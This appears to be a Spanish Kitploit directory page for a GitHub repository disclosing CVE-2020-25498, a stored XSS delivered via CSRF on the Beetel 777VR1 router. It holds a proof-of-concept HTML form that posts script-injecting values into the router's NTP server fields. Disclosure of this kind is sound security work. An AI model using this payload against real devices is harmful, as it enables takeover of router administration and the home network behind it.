Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2020-25498 — XSS almacenado mediante CSRF en el router Beetel 777VR1 | Kitploit
Herramientas/GitHubGitHub/the-girl-who-lived/cve-2020-25498
Herramientas de PhishingAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Penetración
GitHubthe-girl-who-lived/cve-2020-25498

CVE-2020-25498

XSS almacenado mediante CSRF en el router Beetel 777VR1

Ver Repositorio
33hace 5 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2020-25498: XSS almacenado mediante CSRF en el router Beetel 777VR1

Descripción de la vulnerabilidad

Se ha identificado que el endpoint vulnerable no tiene validación de entrada en el lado del servidor y carece de filtrado en el lado del cliente frente a cualquier inyección de script malicioso. Un atacante puede aprovechar esta vulnerabilidad para inyectar un script malicioso en el endpoint, y el script se activa cada vez que un usuario abre el endpoint vulnerable. El atacante puede enviar una URL maliciosa con un payload de petición POST para ejecutar XSS en el módulo de administración mediante CSRF, tomar el control del dispositivo y, finalmente, tomar el control de la red.

Investigadora: Sayli Ambure (https://twitter.com/sayli_ambure)

Enlace CVE de MITRE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-25498

Exploit de prueba de concepto:

Código HTML CSRF:

root@kitploit:~
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.1.1/form2ntp.cgi" method="POST">
      <input type="hidden" name="ntpstate" value="Enable" />
      <input type="hidden" name="ntpserver" value='google&#46;com"><script>alert(1)</script>' />
      <input type="hidden" name="ntpserver2" value='google&#46;com"><script>alert(2)</script>' />
      <input type="hidden" name="ntpinterval" value="1" />
      <input type="hidden" name="ntptimezone" value="330" />
      <input type="hidden" name="submit&#46;htm&#63;time&#46;htm" value="Send" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

1. Nombre del servidor NTP en el módulo de configuración de hora del sistema

Parámetro: Nombre del servidor

Vídeo de prueba de concepto:

2. Endpoint de filtro de URL en el módulo de Firewall

Parámetro: Palabra clave

Vídeo de prueba de concepto:

Descargar herramienta